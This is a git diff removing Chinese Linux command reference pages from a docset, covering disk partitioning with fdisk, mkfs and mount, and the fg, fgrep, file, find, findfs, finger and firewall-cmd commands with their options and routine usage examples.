查看分区情况,确认分区已经删除:

-
Command (m for help): print
-
-Disk /dev/sdb: 3221 MB, 3221225472 bytes
-255 heads, 63 sectors/track, 391 cylinders
-Units = cylinders of 16065 * 512 = 8225280 bytes
-
-   Device Boot      Start         End      Blocks   Id  System
-
-Command (m for help):
-
-

输入n建立新的磁盘分区,首先建立两个主磁盘分区:

-
Command (m for help): n
-Command action
-   e   extended
-   p   primary partition (1-4)
-p    //建立主分区
-Partition number (1-4): 1  //分区号
-First cylinder (1-391, default 1):  //分区起始位置
-Using default value 1
-last cylinder or +size or +sizeM or +sizeK (1-391, default 391): 100  //分区结束位置,单位为扇区
-
-Command (m for help): n  //再建立一个分区
-Command action
-   e   extended
-   p   primary partition (1-4)
-p 
-Partition number (1-4): 2  //分区号为2
-First cylinder (101-391, default 101):
-Using default value 101
-Last cylinder or +size or +sizeM or +sizeK (101-391, default 391): +200M  //分区结束位置,单位为M
-
-

确认分区建立成功:

-
Command (m for help): p
-
-Disk /dev/sdb: 3221 MB, 3221225472 bytes
-255 heads, 63 sectors/track, 391 cylinders
-Units = cylinders of 16065 * 512 = 8225280 bytes
-
-   Device Boot      Start         End      Blocks   Id  System
-/dev/sdb1               1         100      803218+  83  Linux
-/dev/sdb2             101         125      200812+  83  Linux
-
-

再建立一个逻辑分区:

-
Command (m for help): n
-Command action
-   e   extended
-   p   primary partition (1-4)
-e  //选择扩展分区
-Partition number (1-4): 3
-First cylinder (126-391, default 126):
-Using default value 126
-Last cylinder or +size or +sizeM or +sizeK (126-391, default 391):
-Using default value 391
-
-

确认扩展分区建立成功:

-
Command (m for help): p
-
-Disk /dev/sdb: 3221 MB, 3221225472 bytes
-255 heads, 63 sectors/track, 391 cylinders
-Units = cylinders of 16065 * 512 = 8225280 bytes
-
-   Device Boot      Start         End      Blocks   Id  System
-/dev/sdb1               1         100      803218+  83  Linux
-/dev/sdb2             101         125      200812+  83  Linux
-/dev/sdb3             126         391     2136645    5  Extended
-
-

在扩展分区上建立两个逻辑分区:

-
Command (m for help): n
-Command action
-   l   logical (5 or over)
-   p   primary partition (1-4)
-l //选择逻辑分区
-First cylinder (126-391, default 126):
-Using default value 126
-Last cylinder or +size or +sizeM or +sizeK (126-391, default 391): +400M    
-
-Command (m for help): n
-Command action
-   l   logical (5 or over)
-   p   primary partition (1-4)
-l
-First cylinder (176-391, default 176):
-Using default value 176
-Last cylinder or +size or +sizeM or +sizeK (176-391, default 391):
-Using default value 391
-
-

确认逻辑分区建立成功:

-
Command (m for help): p
-
-Disk /dev/sdb: 3221 MB, 3221225472 bytes
-255 heads, 63 sectors/track, 391 cylinders
-Units = cylinders of 16065 * 512 = 8225280 bytes
-
-   Device Boot      Start         End      Blocks   Id  System
-/dev/sdb1               1         100      803218+  83  Linux
-/dev/sdb2             101         125      200812+  83  Linux
-/dev/sdb3             126         391     2136645    5  Extended
-/dev/sdb5             126         175      401593+  83  Linux
-/dev/sdb6             176         391     1734988+  83  Linux
-
-Command (m for help):
-
-

从上面的结果我们可以看到,在硬盘sdb我们建立了2个主分区(sdb1,sdb2),1个扩展分区(sdb3),2个逻辑分区(sdb5,sdb6)

-

注意:主分区和扩展分区的磁盘号位1-4,也就是说最多有4个主分区或者扩展分区,逻辑分区开始的磁盘号为5,因此在这个实验中试没有sdb4的。

-

最后对分区操作进行保存:

-
Command (m for help): w
-The partition table has been altered!
-
-Calling ioctl() to re-read partition table.
-Syncing disks.
-
-

建立好分区之后我们还需要对分区进行格式化才能在系统中使用磁盘。

-

在sdb1上建立ext2分区:

-
[root@localhost ~]# mkfs.ext2 /dev/sdb1
-mke2fs 1.39 (29-May-2006)
-Filesystem label=
-OS type: Linux
-Block size=4096 (log=2)
-Fragment size=4096 (log=2)
-100576 inodes, 200804 blocks
-10040 blocks (5.00%) reserved for the super user
-First data block=0
-Maximum filesystem blocks=209715200
-7 block groups
-32768 blocks per group, 32768 fragments per group
-14368 inodes per group
-Superblock backups stored on blocks:
-        32768, 98304, 163840
-
-Writing inode tables: done                           
-Writing superblocks and filesystem accounting information: done
-
-This filesystem will be automatically checked every 32 mounts or
-180 days, whichever comes first.  Use tune2fs -c or -i to override.
-
-

在sdb6上建立ext3分区:

-
[root@localhost ~]# mkfs.ext3 /dev/sdb6
-mke2fs 1.39 (29-May-2006)
-Filesystem label=
-OS type: Linux
-Block size=4096 (log=2)
-Fragment size=4096 (log=2)
-217280 inodes, 433747 blocks
-21687 blocks (5.00%) reserved for the super user
-First data block=0
-Maximum filesystem blocks=444596224
-14 block groups
-32768 blocks per group, 32768 fragments per group
-15520 inodes per group
-Superblock backups stored on blocks:
-        32768, 98304, 163840, 229376, 294912
-
-Writing inode tables: done                           
-Creating journal (8192 blocks): done
-Writing superblocks and filesystem accounting information: done
-
-This filesystem will be automatically checked every 32 mounts or
-180 days, whichever comes first.  Use tune2fs -c or -i to override.
-[root@localhost ~]#
-
-

建立两个目录/oracle/web,将新建好的两个分区挂载到系统:

-
[root@localhost ~]# mkdir /oracle
-[root@localhost ~]# mkdir /web
-[root@localhost ~]# mount /dev/sdb1 /oracle
-[root@localhost ~]# mount /dev/sdb6 /web
-
-

查看分区挂载情况:

-
[root@localhost ~]# df -h
-文件系统              容量  已用 可用 已用% 挂载点
-/dev/mapper/VolGroup00-LogVol00
-                      6.7G  2.8G  3.6G  44% /
-/dev/sda1              99M   12M   82M  13% /boot
-tmpfs                 125M     0  125M   0% /dev/shm
-/dev/sdb1             773M  808K  733M   1% /oracle
-/dev/sdb6             1.7G   35M  1.6G   3% /web
-
-

如果需要每次开机自动挂载则需要修改/etc/fstab文件,加入两行配置:

-
[root@localhost ~]# vim /etc/fstab
-
-/dev/VolGroup00/LogVol00 /                       ext3    defaults        1 1
-LABEL=/boot             /boot                   ext3    defaults        1 2
-tmpfs                   /dev/shm                tmpfs   defaults        0 0
-devpts                  /dev/pts                devpts  gid=5,mode=620  0 0
-sysfs                   /sys                    sysfs   defaults        0 0
-proc                    /proc                   proc    defaults        0 0
-/dev/VolGroup00/LogVol01 swap                    swap    defaults        0 0
-/dev/sdb1               /oracle                 ext2    defaults        0 0
-/dev/sdb6               /web                    ext3    defaults        0 0
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/fg.html b/linux-command.docset/Contents/Resources/Documents/c/fg.html deleted file mode 100644 index 459582f076..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/fg.html +++ /dev/null @@ -1,105 +0,0 @@ - - - - - - - - - - - fg 命令,Linux fg 命令详解:将后台作业移动到前台终端运行 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

fg

-

将后台作业移动到前台终端运行

-

概要

-
fg [job_spec ...]
-
-

主要用途

-
    -
  • -

    用于将后台作业(在后台运行的或者在后台挂起的作业)放到前台终端运行。

    -
  • -
  • -

    若后台任务中只有一个,则使用该命令时可以省略任务号。

    -
  • -
-

参数

-

job_spec(可选):指定要移动到前台执行的作业标识符,可以是一到多个。

-

返回值

-

返回作业的执行状态,如果发生了错误返回失败。

-

例子

-
# 运行sleep命令,然后按下ctrl+z。
-sleep 60
-^Z
-[1]+  Stopped                 sleep 60
-
-# 使用fg命令使得作业在前台运行。
-fg %1
-
-# 返回信息:
-sleep 60
-
-

注意

-
    -
  1. bash的作业控制命令包括bg fg kill wait disown suspend
  2. -
  3. 该命令需要set选项monitor处于开启状态时才能执行;查看作业控制状态:输入set -o查看monitor行;执行set -o monitorset -m开启该选项。
  4. -
  5. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  6. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/fgrep.html b/linux-command.docset/Contents/Resources/Documents/c/fgrep.html deleted file mode 100644 index 5bbd86c949..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/fgrep.html +++ /dev/null @@ -1,124 +0,0 @@ - - - - - - - - - - - fgrep 命令,Linux fgrep 命令详解:为文件搜索文字字符串 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

fgrep

-

为文件搜索文字字符串

-

补充说明

-

fgrep命令 是用来搜索 file 参数指定的输入文件(缺省为标准输入)中的匹配模式的行。fgrep 命令特别搜索 Pattern 参数,它们是固定的字符串。如果在 File 参数中指定一个以上的文件 fgrep 命令将显示包含匹配行的文件。

-

fgrep 命令于 grep 和 egrep 命令不同,因为它搜索字符串而不是搜索匹配表达式的模式。fgrep 命令使用快速的压缩算法。$, *, &#91;, |, (, )\等字符串被 fgrep 命令按字面意思解释。这些字符并不解释为正则表达式,但它们在 grep 和 egrep 命令中解释为正则表达式。因为这些字符对于 shell 有特定的含义,完整的字符串应该加上单引号‘ ... ’。. 如果没有指定文件, fgrep 命令假定标准输入。一般,找到的每行都复制到标准输出中去。如果不止一个输入文件,则在找到的每行前打印文件名。

-
    -
  1. fgrep 命令和带 -F 标志的 grep命令是一样的但出错和用法消息不同-s 标志功能也不同。
  2. -
  3. 每行限制在 2048 个字节。
  4. -
  5. 段落(-p 标志下)目前限制在5000个字符的长度。
  6. -
  7. 不要在特定的文件中运行 grep 命令,因为会产生不可预料的结果。
  8. -
  9. 输入行不能包含空字符。
  10. -
  11. 输入文件应该以换行字符结尾。
  12. -
  13. 虽然可以同时指定很多标志,但某些标志会覆盖其余的标志。例如,如果同时指定 -l 和 -n ,只有文件名写入到标准输出中去。
  14. -
-

语法

-
fgrep(选项)(参数)
-
-

选项

-
-b:在找到的每行之前添加行所在的块编号。使用此标志有助于按照上下文查找磁盘块号码。-b 标志不能用于标准输入或者管道输入。
--c:仅显示匹配行的计数。
--e 模式:指定模式。这个工作模式很简单,但当此模式以 a-(减号) 开头时却是很有用的。
--f StringFile:指定包含字符串的文件。
--h:当多个文件被处理时隐藏文件名。
--i:当进行比较时忽略字母的大小写。
--l:只列出包含匹配行的文件名(一次)。文件名之间用换行符分隔。
-n:将文件中每行的相对行号置于行前。
--pSeparator:显示包含匹配行的整个段落。段落之间将按照Separator参数指定的段落分隔符加以分隔,这些分隔符是与搜索模式有着相同格式的模式。包含段落分隔符的行将仅用作分隔符;它们不会被包含在输出中。缺省的段落分隔符是空白行。
--q:禁止所有写入到标准输出的操作,不管是否为匹配行。如果选中输入行,以 0 状态退出。
--s:仅显示出错消息。这在检查状态时很有用。
--v:显示除了匹配特定模式的行以外的所有行。
--w:执行单词搜索。
--x:显示匹配模式的行,要求无额外的字符。
--y:当进行比较时忽略字符的大小写。
-
-

此命令返回以下出口值:

-
0    找到匹配项。
-1    未找到匹配项。
->1   发现语法错误,或者文件不可访问(即使找到了匹配项)。
-
-

实例

-

搜索几个文件中的一个简单字符串:

-
fgrep strcpy *.c
-
-

在当前目录下所有以 .c 字符串结尾的文件中搜索字符串 strcpy。

-

计数匹配某模式的行数:

-
fgrep -c 『{』pgm.cfgrep -c 『}』pgm.c
-
-

显示在 pgm.c 中包含左括号和右括号的行的数目。

-

如果在您的 C 程序中一行中没有包含多于一个 { (左括号) 或者 } (右括号),并且括号正确匹配,那么这两个数字将是一样的。如果这两个数字不一样,您可以将包含括号的行按照他们在文件中的位置顺序显示出来,使用以下命令:

-
egrep {\|} pgm.c
-
-

显示包含某模式的文件名:

-
fgrep -l strcpy *.c
-
-

搜索当前目录下以 .c 结尾的文件,然后显示包含 strcpy 字符串的文件名。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/file.html b/linux-command.docset/Contents/Resources/Documents/c/file.html deleted file mode 100644 index 543b07a1f5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/file.html +++ /dev/null @@ -1,117 +0,0 @@ - - - - - - - - - - - file 命令,Linux file 命令详解:用来探测给定文件的类型 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

file

-

用来探测给定文件的类型

-

补充说明

-

file命令 用来探测给定文件的类型。file命令对文件的检查分为文件系统、魔法幻数检查和语言检查3个过程。

-

语法

-
file(选项)(参数)
-
-

选项

-
-b:列出辨识结果时,不显示文件名称;
--c:详细显示指令执行过程,便于排错或分析程序执行的情形;
--f<名称文件>:指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称;
--L:直接显示符号连接所指向的文件类别;
--m<魔法数字文件>:指定魔法数字文件;
--v:显示版本信息;
--z:尝试去解读压缩文件的内容。
-
-

参数

-

文件:要确定类型的文件列表,多个文件之间使用空格分开,可以使用shell通配符匹配多个文件。

-

实例

-

显示文件类型

-
[root@localhost ~]# file install.log
-install.log: UTF-8 Unicode text
-
-[root@localhost ~]# file -b install.log      <== 不显示文件名称
-UTF-8 Unicode text
-
-[root@localhost ~]# file -i install.log      <== 显示MIME类别。
-install.log: text/plain; charset=utf-8
-
-[root@localhost ~]# file -b -i install.log
-text/plain; charset=utf-8
-
-

显示符号链接的文件类型

-
[root@localhost ~]# ls -l /var/mail
-lrwxrwxrwx 1 root root 10 08-13 00:11 /var/mail -> spool/mail
-
-[root@localhost ~]# file /var/mail
-/var/mail: symbolic link to `spool/mail'
-
-[root@localhost ~]# file -L /var/mail
-/var/mail: directory
-
-[root@localhost ~]# file /var/spool/mail
-/var/spool/mail: directory
-
-[root@localhost ~]# file -L /var/spool/mail
-/var/spool/mail: directory
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/find.html b/linux-command.docset/Contents/Resources/Documents/c/find.html deleted file mode 100644 index a54b968df5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/find.html +++ /dev/null @@ -1,315 +0,0 @@ - - - - - - - - - - - find 命令,Linux find 命令详解:在指定目录下查找文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

find

-

在指定目录下查找文件

-

补充说明

-

find命令 用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。

-

语法

-
find(选项)(参数)
-
-

选项

-
-amin<分钟>:查找在指定时间曾被存取过的文件或目录,单位以分钟计算;
--anewer<参考文件或目录>:查找其存取时间较指定文件或目录的存取时间更接近现在的文件或目录;
--atime<24小时数>:查找在指定时间曾被存取过的文件或目录,单位以24小时计算;
--cmin<分钟>:查找在指定时间之时被更改过的文件或目录;
--cnewer<参考文件或目录>查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录;
--ctime<24小时数>:查找在指定时间之时被更改的文件或目录,单位以24小时计算;
--daystart:从本日开始计算时间;
--depth:从指定目录下最深层的子目录开始查找;
--expty:寻找文件大小为0 Byte的文件,或目录下没有任何子目录或文件的空目录;
--exec<执行指令>:假设find指令的回传值为True,就执行该指令;
--false:将find指令的回传值皆设为False;
--fls<列表文件>:此参数的效果和指定“-ls”参数类似,但会把结果保存为指定的列表文件;
--follow:排除符号连接;
--fprint<列表文件>:此参数的效果和指定“-print”参数类似,但会把结果保存成指定的列表文件;
--fprint0<列表文件>:此参数的效果和指定“-print0”参数类似,但会把结果保存成指定的列表文件;
--fprintf<列表文件><输出格式>:此参数的效果和指定“-printf”参数类似,但会把结果保存成指定的列表文件;
--fstype<文件系统类型>:只寻找该文件系统类型下的文件或目录;
--gid<群组识别码>:查找符合指定之群组识别码的文件或目录;
--group<群组名称>:查找符合指定之群组名称的文件或目录;
--help或--help:在线帮助;
--ilname<范本样式>:此参数的效果和指定“-lname”参数类似,但忽略字符大小写的差别;
--iname<范本样式>:此参数的效果和指定“-name”参数类似,但忽略字符大小写的差别;
--inum<inode编号>:查找符合指定的inode编号的文件或目录;
--ipath<范本样式>:此参数的效果和指定“-path”参数类似,但忽略字符大小写的差别;
--iregex<范本样式>:此参数的效果和指定“-regexe”参数类似,但忽略字符大小写的差别;
--links<连接数目>:查找符合指定的硬连接数目的文件或目录;
--lname<范本样式>:指定字符串作为寻找符号连接的范本样式;
--ls:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出;
--maxdepth<目录层级>:设置最大目录层级;
--mindepth<目录层级>:设置最小目录层级;
--mmin<分钟>:查找在指定时间曾被更改过的文件或目录,单位以分钟计算;
--mount:此参数的效果和指定“-xdev”相同;
--mtime<24小时数>:查找在指定时间曾被更改过的文件或目录,单位以24小时计算;
--name<范本样式>:指定字符串作为寻找文件或目录的范本样式;
--newer<参考文件或目录>:查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录;
--nogroup:找出不属于本地主机群组识别码的文件或目录;
--noleaf:不去考虑目录至少需拥有两个硬连接存在;
--nouser:找出不属于本地主机用户识别码的文件或目录;
--ok<执行指令>:此参数的效果和指定“-exec”类似,但在执行指令之前会先询问用户,若回答“y”或“Y”,则放弃执行命令;
--path<范本样式>:指定字符串作为寻找目录的范本样式;
--perm<权限数值>:查找符合指定的权限数值的文件或目录;
--print:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。格式为每列一个名称,每个名称前皆有“./”字符串;
--print0:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。格式为全部的名称皆在同一行;
--printf<输出格式>:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。格式可以自行指定;
--prune:不寻找字符串作为寻找文件或目录的范本样式;
--regex<范本样式>:指定字符串作为寻找文件或目录的范本样式;
--size<文件大小>:查找符合指定的文件大小的文件;
--true:将find指令的回传值皆设为True;
--type<文件类型>:只寻找符合指定的文件类型的文件;
--uid<用户识别码>:查找符合指定的用户识别码的文件或目录;
--used<日数>:查找文件或目录被更改之后在指定时间曾被存取过的文件或目录,单位以日计算;
--user<拥有者名称>:查找符和指定的拥有者名称的文件或目录;
--version或——version:显示版本信息;
--xdev:将范围局限在先行的文件系统中;
--xtype<文件类型>:此参数的效果和指定“-type”参数类似,差别在于它针对符号连接检查。
-
-

参数

-

起始目录:查找文件的起始目录。

-

实例

-
# 当前目录搜索所有文件,文件内容 包含 “140.206.111.111” 的内容
-find . -type f -name "*" | xargs grep "140.206.111.111"
-
-

根据文件或者正则表达式进行匹配

-

列出当前目录及子目录下所有文件和文件夹

-
find .
-
-

/home目录下查找以.txt结尾的文件名

-
find /home -name "*.txt"
-
-

同上,但忽略大小写

-
find /home -iname "*.txt"
-
-

当前目录及子目录下查找所有以.txt和.pdf结尾的文件

-
find . \( -name "*.txt" -o -name "*.pdf" \)
-
-或
-
-find . -name "*.txt" -o -name "*.pdf"
-
-

匹配文件路径或者文件

-
find /usr/ -path "*local*"
-
-

基于正则表达式匹配文件路径

-
find . -regex ".*\(\.txt\|\.pdf\)$"
-
-

同上,但忽略大小写

-
find . -iregex ".*\(\.txt\|\.pdf\)$"
-
-

否定参数

-

找出/home下不是以.txt结尾的文件

-
find /home ! -name "*.txt"
-
-

根据文件类型进行搜索

-
find . -type 类型参数
-
-

类型参数列表:

-
    -
  • f 普通文件
  • -
  • l 符号连接
  • -
  • d 目录
  • -
  • c 字符设备
  • -
  • b 块设备
  • -
  • s 套接字
  • -
  • p Fifo
  • -
-

基于目录深度搜索

-

向下最大深度限制为3

-
find . -maxdepth 3 -type f
-
-

搜索出深度距离当前目录至少2个子目录的所有文件

-
find . -mindepth 2 -type f
-
-

根据文件时间戳进行搜索

-
find . -type f 时间戳
-
-

UNIX/Linux文件系统每个文件都有三种时间戳:

-
    -
  • 访问时间 (-atime/天,-amin/分钟):用户最近一次访问时间。
  • -
  • 修改时间 (-mtime/天,-mmin/分钟):文件最后一次修改时间。
  • -
  • 变化时间 (-ctime/天,-cmin/分钟):文件数据元(例如权限等)最后一次修改时间。
  • -
-

搜索最近七天内被访问过的所有文件

-
find . -type f -atime -7
-
-

搜索恰好在七天前被访问过的所有文件

-
find . -type f -atime 7
-
-

搜索超过七天内被访问过的所有文件

-
find . -type f -atime +7
-
-

搜索访问时间超过10分钟的所有文件

-
find . -type f -amin +10
-
-

找出比file.log修改时间更长的所有文件

-
find . -type f -newer file.log
-
-

根据文件大小进行匹配

-
find . -type f -size 文件大小单元
-
-

文件大小单元:

-
    -
  • b —— 块(512字节)
  • -
  • c —— 字节
  • -
  • w —— 字(2字节)
  • -
  • k —— 千字节
  • -
  • M —— 兆字节
  • -
  • G —— 吉字节
  • -
-

搜索大于10KB的文件

-
find . -type f -size +10k
-
-

搜索小于10KB的文件

-
find . -type f -size -10k
-
-

搜索等于10KB的文件

-
find . -type f -size 10k
-
-

删除匹配文件

-

删除当前目录下所有.txt文件

-
find . -type f -name "*.txt" -delete
-
-

根据文件权限/所有权进行匹配

-

当前目录下搜索出权限为777的文件

-
find . -type f -perm 777
-
-

找出当前目录下权限不是644的php文件

-
find . -type f -name "*.php" ! -perm 644
-
-

找出当前目录用户tom拥有的所有文件

-
find . -type f -user tom
-
-

找出当前目录用户组sunk拥有的所有文件

-
find . -type f -group sunk
-
-

借助-exec选项与其他命令结合使用

-

找出当前目录下所有root的文件,并把所有权更改为用户tom

-
find .-type f -user root -exec chown tom {} \;
-
-

上例中, {} 用于与 -exec 选项结合使用来匹配所有文件,然后会被替换为相应的文件名。

-

找出自己家目录下所有的.txt文件并删除

-
find $HOME/. -name "*.txt" -ok rm {} \;
-
-

上例中, -ok-exec 行为一样,不过它会给出提示,是否执行相应的操作。

-

查找当前目录下所有.txt文件并把他们拼接起来写入到all.txt文件中

-
find . -type f -name "*.txt" -exec cat {} \;> /all.txt
-
-

将30天前的.log文件移动到old目录中

-
find . -type f -mtime +30 -name "*.log" -exec cp {} old \;
-
-

找出当前目录下所有.txt文件并以“File:文件名”的形式打印出来

-
find . -type f -name "*.txt" -exec printf "File: %s\n" {} \;
-
-

因为单行命令中-exec参数中无法使用多个命令,以下方法可以实现在-exec之后接受多条命令

-
-exec ./text.sh {} \;
-
-

搜索但跳过指定的目录

-

查找当前目录或者子目录下所有.txt文件,但是跳过子目录sk

-
find . -path "./sk" -prune -o -name "*.txt" -print
-
-
-

:warning: ./sk 不能写成 ./sk/ ,否则没有作用。

-
-

忽略两个目录

-
find . \( -path ./sk -o  -path ./st \) -prune -o -name "*.txt" -print
-
-
-

:warning: 如果写相对路径必须加上./

-
-

find其他技巧收集

-

要列出所有长度为零的文件

-
find . -empty
-
-

其它实例

-
find ~ -name '*jpg' # 主目录中找到所有的 jpg 文件。 -name 参数允许你将结果限制为与给定模式匹配的文件。
-find ~ -iname '*jpg' # -iname 就像 -name,但是不区分大小写
-find ~ ( -iname 'jpeg' -o -iname 'jpg' ) # 一些图片可能是 .jpeg 扩展名。幸运的是,我们可以将模式用“或”(表示为 -o)来组合。
-find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type f # 如果你有一些以 jpg 结尾的目录呢? (为什么你要命名一个 bucketofjpg 而不是 pictures 的目录就超出了本文的范围。)我们使用 -type 参数修改我们的命令来查找文件。
-find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type d # 也许你想找到那些命名奇怪的目录,以便稍后重命名它们
-
-

最近拍了很多照片,所以让我们把它缩小到上周更改的文件

-
find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type f -mtime -7
-
-

你可以根据文件状态更改时间 (ctime)、修改时间 (mtime) 或访问时间 (atime) 来执行时间过滤。 这些是在几天内,所以如果你想要更细粒度的控制,你可以表示为在几分钟内(分别是 cmin、mmin 和 amin)。 除非你确切地知道你想要的时间,否则你可能会在 + (大于)或 - (小于)的后面加上数字。

-

但也许你不关心你的照片。也许你的磁盘空间不够用,所以你想在 log 目录下找到所有巨大的(让我们定义为“大于 1GB”)文件:

-
find /var/log -size +1G
-
-

或者,也许你想在 /data 中找到 bcotton 拥有的所有文件:

-
find /data -owner bcotton
-
-

你还可以根据权限查找文件。也许你想在你的主目录中找到对所有人可读的文件,以确保你不会过度分享。

-
find ~ -perm -o=r
-
-

删除 mac 下自动生成的文件

-
find ./ -name '__MACOSX' -depth -exec rm -rf {} \;
-
-

统计代码行数

-
find . -name "*.java"|xargs cat|grep -v ^$|wc -l # 代码行数统计, 排除空行
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/findfs.html b/linux-command.docset/Contents/Resources/Documents/c/findfs.html deleted file mode 100644 index c4ab3c0f2f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/findfs.html +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - - - - - - findfs 命令,Linux findfs 命令详解:标签或UUID查找文件系统 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

findfs

-

标签或UUID查找文件系统

-

补充说明

-

findfs命令 依据卷标(Label)和UUID查找文件系统所对应的设备文件。findfs命令会搜索整个磁盘,看是否有匹配的标签或者UUID没有,如果有则打印到标注输出上。findfs命令也是e2fsprogs项目的一部分。

-

语法

-
findfs(参数)
-
-

参数

-

LABEL=<卷标>或者UUID=<UUID>:按照卷标或者UUID查询文件系统。

-

实例

-

通过卷标名查找对应的文件系统:

-
findfs LABEL=/boot
-/dev/hda1
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/finger.html b/linux-command.docset/Contents/Resources/Documents/c/finger.html deleted file mode 100644 index a28df62502..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/finger.html +++ /dev/null @@ -1,94 +0,0 @@ - - - - - - - - - - - finger 命令,Linux finger 命令详解:用于查找并显示用户信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

finger

-

用于查找并显示用户信息

-

补充说明

-

finger命令 用于查找并显示用户信息。包括本地与远端主机的用户皆可,帐号名称没有大小写的差别。单独执行finger指令,它会显示本地主机现在所有的用户的登陆信息,包括帐号名称,真实姓名,登入终端机,闲置时间,登入时间以及地址和电话。

-

语法

-
finger(选项)(参数)
-
-

选项

-
-l:列出该用户的帐号名称,真实姓名,用户专属目录,登入所用的Shell,登入时间,转信地址,电子邮件状态,还有计划文件和方案文件内容;
--m:排除查找用户的真实姓名;
--s:列出该用户的帐号名称,真实姓名,登入终端机,闲置时间,登入时间以及地址和电话;
--p:列出该用户的帐号名称,真实姓名,用户专属目录,登入所用的Shell,登入时间,转信地址,电子邮件状态,但不显示该用户的计划文件和方案文件内容。
-
-

不指定finger的选项如果提供操作者的话,缺省设为-l输出风格,否则为-s风格,注意在两种格式中,如果信息不足,都有一些域可能丢失,如果没有指定参数finger会为当前登录的每个用户打印一个条目。

-

参数

-

用户名:指定要查询信息的用户。

-

实例

-

在计算机上使用finger:

-
[root@localhost root]# finger
-login Name Tty Idle Login time Office Office Phone
-root root tty1 2 Dec 18 13
-root root pts/0 1 Dec 18 13
-root root *pts/1 Dec 18 13
-
-

如果要查询远程机上的用户信息,需要在用户名后面接@主机名,采用用户名@主机名的格式,不过要查询的网络主机需要运行finger守护进程的支持。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/firewall-cmd.html b/linux-command.docset/Contents/Resources/Documents/c/firewall-cmd.html deleted file mode 100644 index f6d5234036..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/firewall-cmd.html +++ /dev/null @@ -1,326 +0,0 @@ - - - - - - - - - - - firewall-cmd 命令,Linux firewall-cmd 命令详解:Linux上新用的防火墙软件,跟iptables差不多的工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

firewall-cmd

-

Linux上新用的防火墙软件,跟iptables差不多的工具

-

补充说明

-

firewall-cmd 是 firewalld的字符界面管理工具,firewalld是centos7的一大特性,最大的好处有两个:支持动态更新,不用重启服务;第二个就是加入了防火墙的“zone”概念。

-

firewalld跟iptables比起来至少有两大好处:

-
    -
  1. firewalld可以动态修改单条规则,而不需要像iptables那样,在修改了规则后必须得全部刷新才可以生效。
  2. -
  3. firewalld在使用上要比iptables人性化很多,即使不明白“五张表五条链”而且对TCP/IP协议也不理解也可以实现大部分功能。
  4. -
-

firewalld自身并不具备防火墙的功能,而是和iptables一样需要通过内核的netfilter来实现,也就是说firewalld和 iptables一样,他们的作用都是用于维护规则,而真正使用规则干活的是内核的netfilter,只不过firewalld和iptables的结 构以及使用方法不一样罢了。

-

命令格式

-
firewall-cmd [选项 ... ]
-
-

选项

-

通用选项

-
-h, --help    # 显示帮助信息;
--V, --version # 显示版本信息. (这个选项不能与其他选项组合);
--q, --quiet   # 不打印状态消息;
-
-

状态选项

-
--state                # 显示firewalld的状态;
---reload               # 不中断服务的重新加载;
---complete-reload      # 中断所有连接的重新加载;
---runtime-to-permanent # 将当前防火墙的规则永久保存;
---check-config         # 检查配置正确性;
-
-

日志选项

-
--get-log-denied         # 获取记录被拒绝的日志;
---set-log-denied=<value> # 设置记录被拒绝的日志,只能为 'all','unicast','broadcast','multicast','off' 其中的一个;
-
-

实例

-
# 安装firewalld
-yum install firewalld firewall-config
-
-systemctl start  firewalld # 启动
-systemctl stop firewalld  # 停止
-systemctl enable firewalld # 启用自动启动
-systemctl disable firewalld # 禁用自动启动
-systemctl status firewalld # 或者 firewall-cmd --state 查看状态
-
-# 关闭服务的方法
-# 你也可以关闭目前还不熟悉的FirewallD防火墙,而使用iptables,命令如下:
-
-systemctl stop firewalld
-systemctl disable firewalld
-yum install iptables-services
-systemctl start iptables
-systemctl enable iptables
-
-

配置firewalld

-
firewall-cmd --version  # 查看版本
-firewall-cmd --help     # 查看帮助
-
-# 查看设置:
-firewall-cmd --state  # 显示状态
-firewall-cmd --get-active-zones  # 查看区域信息
